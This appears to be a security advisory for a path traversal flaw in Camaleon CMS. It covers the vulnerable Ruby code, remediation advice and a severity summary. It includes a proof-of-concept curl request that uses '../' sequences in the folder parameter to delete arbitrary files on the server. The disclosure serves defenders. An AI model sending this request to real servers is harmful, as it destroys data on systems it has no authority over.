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GHSA-7x4w-cj9r-h4v9
No affected components available
The actions defined inside of the MediaController class do not check whether a given path is inside a certain path (e.g. inside the media folder). If an attacker performed an account takeover of an administrator account (See: GHSL-2024-184) they could delete arbitrary files or folders on the server hosting Camaleon CMS. The crop_url action might make arbitrary file writes (similar impact to GHSL-2024-182) for any authenticated user possible, but it doesn't seem to work currently.
Arbitrary file deletion can be exploited with following code path: The parameter folder flows from the actions method:
def actions
authorize! :manage, :media if params[:media_action] != 'crop_url'
params[:folder] = params[:folder].gsub('//', '/') if params[:folder].present?
case params[:media_action]
[..]
when 'del_file'
cama_uploader.delete_file(params[:folder].gsub('//', '/'))
render plain: ''
into the method delete_file of the CamaleonCmsLocalUploader class (when files are uploaded locally):
def delete_file(key)
file = File.join(@root_folder, key)
FileUtils.rm(file) if File.exist? file
@instance.hooks_run('after_delete', key)
get_media_collection.find_by_key(key).take.destroy
end
Where it is joined in an unchecked manner with the root folder and then deleted.
Proof of concept The following request would delete the file README.md in the top folder of the Ruby on Rails application. (The values for auth_token, X-CSRF-Token and _cms_session would also need to be replaced with authenticated values in the curl command below)
curl --path-as-is -i -s -k -X $'POST' \
-H $'X-CSRF-Token: [..]' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' -H $'Connection: keep-alive' \
-b $'auth_token=[..]; _cms_session=[..]' \
--data-binary $'versions=&thumb_size=&formats=&media_formats=&dimension=&private=&folder=..%2F..%2F..%2FREADME.md&media_action=del_file' \
$'https://<camaleon-host>/admin/media/actions?actions=true'
Impact This issue may lead to a defective CMS or system.
Remediation Normalize all file paths constructed from untrusted user input before using them and check that the resulting path is inside the targeted directory. Additionally, do not allow character sequences such as .. in untrusted input that is used to build paths.
See also:
CodeQL: Uncontrolled data used in path expression OWASP: Path Traversal
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs high-level or administrative privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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